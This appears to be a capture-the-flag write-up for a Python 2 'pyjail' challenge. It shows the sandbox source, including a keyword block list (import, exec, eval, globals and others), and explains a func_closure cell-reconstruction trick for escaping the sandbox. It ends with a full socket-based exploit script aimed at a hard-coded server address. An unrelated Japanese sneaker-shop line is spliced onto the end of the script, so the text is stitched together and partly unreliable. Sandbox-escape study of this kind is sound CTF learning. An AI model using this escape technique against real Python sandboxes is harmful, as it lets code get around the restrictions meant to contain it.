This task is new implementation of python sandbox.
import re import sys import string from sys import stdout sys.stderr = stdout sanitize = re.compile( r'(?:__|import|globals|locals|exec|eval|join|format|replace|translate|try|except|with|content|frame|back)' ).sub trusted_builtins = """ True False type int """.split() alphabet = ' \n\r0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ(),.:;<=>[]_{}' t1 = ''.join(chr(code) for code in xrange(256)) t2 = [] for i in t1: if i in alphabet: t2.append(i) else: t2.append(' ') trans_table = string.maketrans(t1, ''.join(t2)) EXPECTED = 13.37 del alphabet, t1, t2, i, sys, string, re def clear_builtins(): orig = __builtins__.__dict__.copy() __builtins__.__dict__.clear() for i in trusted_builtins: __builtins__.__dict__[i] = orig[i] part1_of_flag = '******************' part2_of_flag = '******************' egg = 'egg' def main(): if raw_input() != 'leetleetleetleet': return print ('Welcome to pyjail!\n\n' 'Try to get the flag!\n' 'Use ctrl+D or --- to submit your code\n') stdout.flush() code = [] total_bytes = 0 while True: try: value = raw_input() total_bytes += len(value) assert total_bytes < 1337 if value == '---': break code.append(value) except EOFError: break code = sanitize("/*ERR*/", '\n'.join(code).translate(trans_table)) clear_builtins() def sandbox(): t=r=y = t=o = s=o=l=v=e = t=h=e = d=i=v=i=s=i=o=n = q=u=i=z = 0 def exec_in_context(ctx): exec code in ctx print 'Flag is', try: assert FLAG != part1_of_flag print FLAG except: print '********************' def we_must_be_sure_flag_part1_is_ready(): global FLAG FLAG = part1_of_flag def we_must_be_sure_flag_part2_is_ready(): global FLAG FLAG += part2_of_flag def divider(v1): a = "You are lucky!" b = "Try again!" def divider(v2): i,t,s, n,o,t, s,o, h,a,r,d if int(v1) / int(v2) == EXPECTED: print a we_must_be_sure_flag_part2_is_ready() else: print b we_must_be_sure_flag_part1_is_ready() return divider exec_in_context({'div': divider}) sandbox() if __name__ == '__main__': main()
This time deleted all built-ins except (True, False, type, int) and appended some filters:
•__
•import
•globals
•locals
•exec
•eval
•join
•format
•replace
•translate
•try
•except
•with
•content
•frame
•back"
Let's write the script that connects to server, and sends simple CAPTCHA:
hSock = create_connection((host, port)) hSock.send("leetleetleetleet\n")
After this we can send some code, that will be executed in the sandbox, as context we can see function "divider" as "div":
As we can see all attributes with "__" are restricted: so magic like "div.__dict__" will not pass! The only methods of function we can use are:
•func_code,
•func_defaults,
•func_doc,
•func_globals,
•func_closure.
"func_globals" looks like very helpful, but string "globals" is restricted, so we need another way
After reading some manuals, comes understanding, that "func_closure" could be very useful. It returns "cell" objects, that have information about all objects declared inside the function.
"Cell" object has method cell_contents, but string "contents" is restricted again!
After a lot of research was found magic method of getting content of cell without using restricted method
def get_cell_value(cell): return type(lambda: 0)( (lambda x: lambda: x)(0).func_code, {}, None, None, (cell,) )()
So the 8th and 9th cells are functions, that make flag. We just need to call them
Full exploit file;
from socket import create_connection host = "195.133.87.177" port = 1337 hSock = create_connection((host, port)) hSock.send("leetleetleetleet\n") print hSock.recv(1024) print hSock.recv(1024) t = """ global EXPECTED, a, b a = b = 5 EXPECTED = 1 print 0, EXPECTED def get_cell_value(cell): return type(lambda: 0)( (lambda x: lambda: x)(0).func_code, {}, None, None, (cell,) )() get_cell_value(div.func_closure[8])() get_cell_value(div.func_closure[9])() --- """ hSock.send(t) print hSock.recv(1024) print hSock.recv(1024)Sports brands | 【国内5月2日発売予定】ナイキ ウィメンズ エアマックス ココ サンダル 全4色 - スニーカーウォーズ